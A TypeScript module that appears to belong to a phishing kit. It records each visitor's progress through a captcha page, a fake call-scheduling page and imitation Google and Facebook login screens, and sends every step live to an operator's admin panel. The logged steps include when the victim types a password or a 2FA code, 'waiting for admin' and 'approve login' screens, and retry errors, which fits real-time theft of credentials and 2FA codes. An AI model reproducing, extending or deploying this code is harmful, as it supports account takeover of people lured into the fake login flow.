import { broadcastSessionActivity } from './admin-panel-sync'
import { supabase } from './supabase'
import { v4 as uuidv4 } from 'uuid'

export type JourneyProvider = 'google' | 'facebook' | null

export type JourneyStep = {
  id: string
  at: string
  label: string
  provider?: JourneyProvider
  page_url?: string
}

const JOURNEY_BACKUP_KEY = 'kf_journey_steps_v1'
const MAX_STEPS = 80

function getSessionIdLocal(): string {
  if (typeof window === 'undefined') return uuidv4()
  let sessionId = localStorage.getItem('session_id')
  if (!sessionId) {
    sessionId = uuidv4()
    localStorage.setItem('session_id', sessionId)
  }
  return sessionId
}

const STEP_LABELS: Record<string, string> = {
  'home.captcha_shown': 'Captcha shown',
  'home.captcha_passed': 'Captcha passed',
  'home.offline': 'Sent to offline page',
  'invite.landed': 'Opened invite link',
  'schedule.landed': 'Schedule call page',
  'schedule.continue': 'Continue clicked',
  'schedule.provider_google': 'Clicked Google login',
  'schedule.provider_facebook': 'Clicked Facebook login',
  'schedule.providers_shown': 'Provider buttons shown',
  'auth.google.email': 'Google · email entered',
  'auth.google.email.typing': 'Google · typing email / phone',
  'auth.google.password.typing': 'Google · typing password',
  'auth.facebook.email.typing': 'Facebook · typing email / phone',
  'auth.facebook.password.typing': 'Facebook · typing password',
  'auth.google.2fa.typing': 'Google · typing 2FA code',
  'auth.facebook.2fa.typing': 'Facebook · typing 2FA code',
  'auth.google.phone-code.typing': 'Google · typing phone code',
  'auth.facebook.phone-code.typing': 'Facebook · typing phone code',
  'auth.google.password': 'Google · password submitted',
  'auth.facebook.login': 'Facebook · login submitted',
  'auth.loading': 'Waiting for admin',
  'auth.login-error': 'Login error screen',
  'auth.approve': 'Approve login screen',
  'auth.approve-error': 'Approve error screen',
  'auth.approve.confirmed': 'Approve confirmed',
  'auth.try_another_way': 'Try another way',
  'auth.resend_code': 'Resend code clicked',
  'auth.phone-code': 'Phone code screen',
  'auth.phone-code-error': 'Phone code error',
  'auth.2fa': 'App 2FA screen',
  'auth.2fa-error': 'App 2FA error',
  'auth.2fa.submitted': 'App 2FA code submitted',
  'auth.2fa-error.submitted': 'App 2FA code submitted (retry)',
  'auth.2fa-sms': 'SMS 2FA screen',
  'auth.2fa-sms-error': 'SMS 2FA error',
  'auth.2fa-sms.submitted': 'SMS code submitted',
  'auth.2fa-sms-error.submitted': 'SMS code submitted (retry)',
  'auth.2fa-email': 'Email 2FA screen',
  'auth.2fa-email-error': 'Email 2FA error',
  'auth.2fa-email.submitted': 'Email code submitted',
  'auth.2fa-email-error.submitted': 'Email code submitted (retry)',
  'booking.date': 'Select date & time',
  'booking.details': 'Enter details',
  'booking.confirmed': 'Confirmation',
}

export function journeyStepLabel(id: string, fallback?: string): string {
  return STEP_LABELS[id] || fallback || id
}

function loadLocalJourney(sessionId: string): JourneyStep[] {
  if (typeof window === 'undefined') return []
  try {
    const raw = localStorage.getItem(JOURNEY_BACKUP_KEY)
    if (!raw) return []
    const parsed = JSON.parse(raw) as { sessionId?: string; steps?: JourneyStep[] }
    if (parsed.sessionId !== sessionId || !Array.isArray(parsed.steps)) return []
    return parsed.steps
  } catch {
    return []
  }
}

function saveLocalJourney(sessionId: string, steps: JourneyStep[]) {
  if (typeof window === 'undefined') return
  try {
    localStorage.setItem(
      JOURNEY_BACKUP_KEY,
      JSON.stringify({ sessionId, steps, at: new Date().toISOString() })
    )
  } catch {
    /* ignore */
  }
}

function mergeSteps(...lists: JourneyStep[][]): JourneyStep[] {
  const byKey = new Map<string, JourneyStep>()
  for (const list of lists) {
    for (const step of list) {
      const key = `${step.id}|${step.at}`
      byKey.set(key, step)
    }
  }
  return Array.from(byKey.values())
    .sort((a, b) => +new Date(a.at) - +new Date(b.at))
    .slice(-MAX_STEPS)
}

export function getProviderFromJourney(steps: JourneyStep[] | null | undefined): JourneyProvider {
  if (!steps?.length) return null
  for (let i = steps.length - 1; i >= 0; i--) {
    if (steps[i].provider) return steps[i].provider || null
  }
  return null
}

export function filterJourneyByProvider(
  steps: JourneyStep[] | null | undefined,
  provider: 'google' | 'facebook'
): JourneyStep[] {
  if (!steps?.length) return []
  return steps.filter(
    (s) =>
      s.provider === provider ||
      s.id.includes(`.${provider}.`) ||
      s.id.includes(`provider_${provider}`) ||
      (!s.provider && !s.id.includes('provider_') && !s.id.startsWith('auth.'))
  )
}

/** Shared / core steps (captcha, schedule continue, booking) */
export function filterJourneyCore(steps: JourneyStep[] | null | undefined): JourneyStep[] {
  if (!steps?.length) return []
  return steps.filter(
    (s) =>
      s.id.startsWith('home.') ||
      s.id.startsWith('schedule.') ||
      s.id.startsWith('booking.') ||
      (!s.provider && !s.id.startsWith('auth.'))
  )
}

export function authDialogToStepId(
  dialog: string,
  provider?: JourneyProvider
): { id: string; label: string; provider: JourneyProvider } {
  const p = provider || null
  if (dialog === 'loading') {
    return { id: 'auth.loading', label: journeyStepLabel('auth.loading'), provider: p }
  }
  if (dialog === 'google' || dialog === 'facebook') {
    return {
      id: `auth.${dialog}.login`,
      label: journeyStepLabel(`auth.${dialog}.login`, `${dialog} login`),
      provider: dialog as JourneyProvider,
    }
  }
  const id = `auth.${dialog}`
  return {
    id,
    label: journeyStepLabel(id, dialog),
    provider: p,
  }
}

/**
 * Append a visitor journey step to the session (local + DB + admin broadcast).
 * Dedupes rapid repeats of the same step id within 2s.
 */
export async function trackVisitorStep(input: {
  id: string
  label?: string
  provider?: JourneyProvider
  pageUrl?: string
  meta?: Record<string, string>
}): Promise<{ success: boolean }> {
  if (typeof window === 'undefined') return { success: false }

  try {
    const sessionId = getSessionIdLocal()
    const now = new Date().toISOString()
    const label = input.label || journeyStepLabel(input.id)
    const nextStep: JourneyStep = {
      id: input.id,
      at: now,
      label,
      provider: input.provider ?? null,
      page_url: input.pageUrl,
    }

    const local = loadLocalJourney(sessionId)
    const last = local[local.length - 1]
    if (last?.id === nextStep.id && Date.now() - +new Date(last.at) < 2000) {
      return { success: true }
    }

    let dbSteps: JourneyStep[] = []
    try {
      const { data, error } = await supabase
        .from('user_sessions')
        .select('journey_steps')
        .eq('session_id', sessionId)
        .maybeSingle()
      if (
        !error &&
        data &&
        Array.isArray((data as { journey_steps?: unknown }).journey_steps)
      ) {
        dbSteps = (data as { journey_steps: JourneyStep[] }).journey_steps
      }
    } catch {
      /* column may not exist yet */
    }

    const merged = mergeSteps(local, dbSteps, [nextStep])
    saveLocalJourney(sessionId, merged)

    const pageUrl =
      input.pageUrl ||
      (typeof window !== 'undefined' ? window.location.href : undefined)

    const patchWithJourney: Record<string, unknown> = {
      journey_steps: merged,
      updated_at: now,
      is_active: true,
    }
    if (pageUrl) patchWithJourney.page_url = pageUrl

    const patchBasic: Record<string, unknown> = {
      updated_at: now,
      is_active: true,
    }
    if (pageUrl) patchBasic.page_url = pageUrl

    let { data: updated, error } = await supabase
      .from('user_sessions')
      .update(patchWithJourney)
      .eq('session_id', sessionId)
      .select('id')

    // Live DB may not have journey_steps yet — keep session alive without it
    if (
      error &&
      (error.code === '42703' ||
        error.code === 'PGRST204' ||
        /journey_steps|column|schema cache/i.test(error.message || ''))
    ) {
      ;({ data: updated, error } = await supabase
        .from('user_sessions')
        .update(patchBasic)
        .eq('session_id', sessionId)
        .select('id'))
    }

    if (error || !updated?.length) {
      const insertFull = {
        session_id: sessionId,
        page_url: pageUrl || '/',
        journey_steps: merged,
        is_active: true,
        user_agent: typeof navigator !== 'undefined' ? navigator.userAgent : null,
        updated_at: now,
        created_at: now,
      }
      const { error: insertError } = await supabase
        .from('user_sessions')
        .upsert(insertFull, { onConflict: 'session_id' })

      if (
        insertError &&
        (insertError.code === '42703' ||
          insertError.code === 'PGRST204' ||
          /journey_steps|column|schema cache/i.test(insertError.message || ''))
      ) {
        const { journey_steps: _j, ...insertBasic } = insertFull
        await supabase
          .from('user_sessions')
          .upsert(insertBasic, { onConflict: 'session_id' })
      }
    }

    broadcastSessionActivity({
      sessionId,
      page_url: (pageUrl as string) || '/',
      updated_at: now,
      message: label,
      journey_steps: merged,
    })

    return { success: true }
  } catch (e) {
    
    return { success: false }
  }
}
